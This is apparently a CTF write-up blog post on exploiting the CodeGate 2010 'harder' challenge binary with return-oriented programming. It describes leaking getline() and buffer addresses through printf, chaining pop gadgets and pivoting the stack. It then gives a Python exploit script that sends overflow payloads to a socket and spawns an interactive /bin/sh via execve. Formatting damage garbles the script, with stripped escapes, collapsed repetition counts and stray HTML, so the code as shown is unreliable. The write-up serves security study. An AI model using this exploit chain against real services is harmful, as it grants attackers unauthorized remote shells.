In my previous post about CodeGate 2010 Challenge 5 exploit, I mentioned the weakness of accessing server to get execl() address. In this post I will show how to blindly exploit the “harder” program without access to the remote server using return-oriented-programming technique.

ROP introduction

A worth to read post about ROP introduction can be found on Zynamics blog: http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/

In summary: we will use return-into-instructions (called gadgets) to build and execute our payload when controlled EIP and ESP from vulnerable program.

ROP limitations (difficulties):

  • ASLR: the same as return-into-libc, it’s difficult to locate address of instructions in library (e.g libc)
  • ASCII-armor address: with ascii-armor remapping of libraries (e.g libc), addresses will contain NULL byte so chaining return-into-libc calls and ROP is impossible if there’s NULL filter in input

The “harder” case

Fortunately, we can blindly exploit the “harder” program using ROP because it provides some “advantages” in code:

  • getline(): can pass NULL byte to input
  • printf(): can leak runtime memory info (bypass ASLR)

Finding ROP gadgets

Our target is to invoke execve(“/bin/sh”, 0, 0) syscall, which is equivalent to prepare registers’ value then trigger kernel syscall:

eax = 0xb // execve
ebx = address of “/bin/sh”
ecx = 0 // argv
edx = 0 // env

Searching in harder binary, we found below gadgets:

  • eax:
    80483a4:    58                       pop    %eax
    80483a5:    5b                       pop    %ebx
    80483a6:    c9                       leave
    80483a7:    c3                       ret
  • ebx & ecx:
    8048634:    59                       pop    %ecx
    8048635:    5b                       pop    %ebx
    8048636:    c9                       leave
    8048637:    c3                       ret

    “/bin/sh” is placed on target buffer, its address is available by leaking via printf()</li> </ul>

    • edx:
      There’s no edx related gadget but observing that when returned from memcpy() edx’s value is set to esi so we can assign esi to 0×0 first then return again to main to nullify edx.</p>
      0x001ba506 :    mov    edx,esi
      80485e6:    5e                       pop    %esi
      80485e7:    5f                       pop    %edi
      80485e8:    5d                       pop    %ebp
      80485e9:    c3                       ret
    • syscall:
      In recent Linux kernel, syscall is usually performed via linux gate: call gs:[0x10]. By return to back to printf() in harder program many times, we can find the offset from getline() to first syscall is 319 bytes.

    • moving stack:
      After “leave; ret” our stack will be moved to new location pointing by ebp. We can control this by set ebp back to somewhere in the middle of target buffer.

    Exploit code

    #!/usr/bin/env python
    
    

import socket import sys import struct import telnetlib

#host = ‘ctf4.codegate.org’ host = ‘127.0.0.1’ port = 9005

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) c.connect((host, port))

buf=””

bypass first read

buf = c.recv(1024)

getline() address

buf = “A”*268 + struct.pack(‘i’, 0x08048524) + struct.pack(‘i’, 0x0804a008) + “n” c.send(buf) buf = c.recv(1024) addr = “” getline_addr = int(buf[:4][::-1].encode(‘hex’), 16) print “getline() is at:”, hex(getline_addr)

call gs:[0x10] address

offset = 319 # first offset is 319 bytes from getline() syscall_addr = getline_addr + offset

buffer address

buf = “%7$x” + “x00”260 + struct.pack(‘i’, 0x08048521)2 + “n” c.send(buf) buf = c.recv(1024) input_addr = int(buf[:8], 16) print “Buffer address is at: “, hex(input_addr)

gadgets address

pop_eax = 0x080483a4 pop_ecx_ebx = 0x08048634 pop_esi = 0x080485e6

pop esi

buf = “A”268 + struct.pack(‘i’, pop_esi) + “x00” * 12 + struct.pack(‘i’, 0x08048524)2  + “n” c.send(buf) c.recv(1024)

pop eax then move stack to new address

input_addr += 560 # lifting after 2 getline() calls new_stack = input_addr+8 buf = “/bin/shx00” # /bin/sh buf += struct.pack(‘i’, new_stack+16) # next ebp after leave from pop_eax buf += struct.pack(‘i’, pop_ecx_ebx) # next is pop_ecx_ebx buf += “x00”4 # ecx buf += struct.pack(‘i’, input_addr) # ebx -> /bin/sh buf += “A”4 # un-used ebp after leave from pop_ecx_ebx buf += struct.pack(‘i’, syscall_addr) buf = buf.ljust(264, “A”) # padding buf += struct.pack(‘i’, new_stack) # new ebp buf += struct.pack(‘i’, pop_eax) buf += “x0bx00x00x00” # execve syscal buf += “A”*4 # un-used ebx buf += “n”

print “Sending final payload …” c.send(buf) c.send(“id 2>&1” + “n”*5)

t = telnetlib.Telnet() t.sock = c t.interact() c.close()

</pre>